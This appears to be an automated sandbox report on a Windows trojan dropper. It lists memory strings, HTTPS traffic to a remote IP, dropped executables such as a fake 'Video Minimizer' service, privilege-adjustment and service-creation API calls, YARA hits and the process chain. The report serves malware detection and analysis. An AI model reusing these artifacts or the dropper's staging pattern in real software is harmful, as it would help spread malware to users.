Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: svchost.exe, 00000015.00000003.2118892415.00000235C2D55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: sQurASc1qLwRL.exe, 0000000B.00000003.1911056309.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.exe, 0000000B.00000003.1910969237.0000000002320000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.exe, 0000000B.00000002.2534511707.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000002.2534507282.0000000000580000.00000004.00000020.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000003.1914458717.00000000020C8000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000002.2537299654.00000000020C8000.00000004.00001000.00020000.00000000.sdmp, sQurASc1qLwRL.tmp, 0000000C.00000003.1914370786.00000000028F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.easycutstudio.com/support.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown

HTTPS traffic detected: 188.119.66.185:443 -> 192.168.2.11:49987 version: TLS 1.2

Source: is-OQPMB.tmp.12.dr

Binary or memory string: DirectDrawCreateEx

memstr_e877a442-a

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0042F520 NtdllDefWindowProc_A,	12_2_0042F520
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00423B84 NtdllDefWindowProc_A,	12_2_00423B84
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004125D8 NtdllDefWindowProc_A,	12_2_004125D8
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004785E0 NtdllDefWindowProc_A,	12_2_004785E0
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004573E0 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	12_2_004573E0

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_0042E934: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,

12_2_0042E934

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		11_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		12_2_004555E4

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_0040840C	11_2_0040840C
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004804DB	12_2_004804DB
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0047051C	12_2_0047051C
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00467218	12_2_00467218
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004352C8	12_2_004352C8
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0043DD50	12_2_0043DD50
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0043035C	12_2_0043035C
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004444C8	12_2_004444C8
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004345C4	12_2_004345C4
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004866B4	12_2_004866B4
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00444A70	12_2_00444A70
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00430EE8	12_2_00430EE8
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0045EF38	12_2_0045EF38
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0045AFC4	12_2_0045AFC4
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00445168	12_2_00445168
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00469278	12_2_00469278
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00445574	12_2_00445574
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00487614	12_2_00487614
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0048D9F0	12_2_0048D9F0
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004519BC	12_2_004519BC
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_00401051	15_2_00401051
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_00401C26	15_2_00401C26
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_004070A7	15_2_004070A7
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609660FA	15_2_609660FA
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6092114F	15_2_6092114F
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6091F2C9	15_2_6091F2C9
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096923E	15_2_6096923E
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6093323D	15_2_6093323D
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095C314	15_2_6095C314
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60950312	15_2_60950312
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094D33B	15_2_6094D33B
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6093B368	15_2_6093B368
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096748C	15_2_6096748C
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6093F42E	15_2_6093F42E
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60954470	15_2_60954470
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609615FA	15_2_609615FA
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096A5EE	15_2_6096A5EE
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096D6A4	15_2_6096D6A4
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609606A8	15_2_609606A8
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60932654	15_2_60932654
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60955665	15_2_60955665
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094B7DB	15_2_6094B7DB
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6092F74D	15_2_6092F74D
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60964807	15_2_60964807
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094E9BC	15_2_6094E9BC
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60937929	15_2_60937929
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6093FAD6	15_2_6093FAD6
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096DAE8	15_2_6096DAE8
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094DA3A	15_2_6094DA3A
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60936B27	15_2_60936B27
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60954CF6	15_2_60954CF6
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60950C6B	15_2_60950C6B
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60966DF1	15_2_60966DF1
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60963D35	15_2_60963D35
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60909E9C	15_2_60909E9C
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60951E86	15_2_60951E86
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60912E0B	15_2_60912E0B
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60954FF8	15_2_60954FF8
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02D9BAED	15_2_02D9BAED
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02DA2A70	15_2_02DA2A70
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02D9D31F	15_2_02D9D31F
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02D970B0	15_2_02D970B0
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02D8E06F	15_2_02D8E06F
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02DA266D	15_2_02DA266D
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02D9BF05	15_2_02D9BF05
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02D9873A	15_2_02D9873A
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02D9B5F9	15_2_02D9B5F9
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_02DA0DA4	15_2_02DA0DA4

Source: Joe Sandbox View

Dropped File: C:\ProgramData\EarnPackage\sqlite3.dll 16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: String function: 02D97750 appears 32 times
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: String function: 02DA2A00 appears 135 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00408C0C appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00406AC4 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 0040595C appears 117 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00403400 appears 60 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00445DD4 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 004344DC appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 004078F4 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00457D6C appears 73 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00403494 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00403684 appears 224 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00457B60 appears 97 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 00453344 appears 94 times
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: String function: 004460A4 appears 59 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784

Source: file.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: sQurASc1qLwRL.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: ONE[1].file.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: sQurASc1qLwRL.tmp.11.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: sQurASc1qLwRL.tmp.11.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: sQurASc1qLwRL.tmp.11.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: is-BD8Q6.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-BD8Q6.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-BD8Q6.tmp.12.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: sqlite3.dll.15.dr	Static PE information: Number of sections : 19 > 10
Source: is-HMRND.tmp.12.dr	Static PE information: Number of sections : 19 > 10

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Y-Cleaner.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: videominimizer2.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: EarnPackage.exe.15.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@27/55@0/3

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_02D8F8C0 _memset,FormatMessageA,GetLastError,FormatMessageA,GetLastError,

15_2_02D8F8C0

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		11_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		12_2_004555E4

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_00455E0C GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

12_2_00455E0C

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: CloseServiceHandle,CreateServiceA,

15_2_00402319

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_0046DF58 GetVersion,CoCreateInstance,

12_2_0046DF58

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe

Code function: 11_2_00409BEC FindResourceA,SizeofResource,LoadResource,LockResource,

11_2_00409BEC

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_00402B64 StartServiceCtrlDispatcherA,

15_2_00402B64

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_00402B64 StartServiceCtrlDispatcherA,

15_2_00402B64

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\add[1].htm

Jump to behavior

Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7660:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6784
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv

Jump to behavior

Source: Yara match	File source: 15.0.videominimizer2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000000.1931743416.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-T3MEN.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\EarnPackage\EarnPackage.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe, type: DROPPED

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: videominimizer2.exe, videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: videominimizer2.exe, videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: videominimizer2.exe, videominimizer2.exe, 0000000F.00000003.1934226404.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmp, is-HMRND.tmp.12.dr, sqlite3.dll.15.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe "C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Process created: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp "C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp" /SL5="$20138,4002138,54272,C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process created: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe "C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe" -i
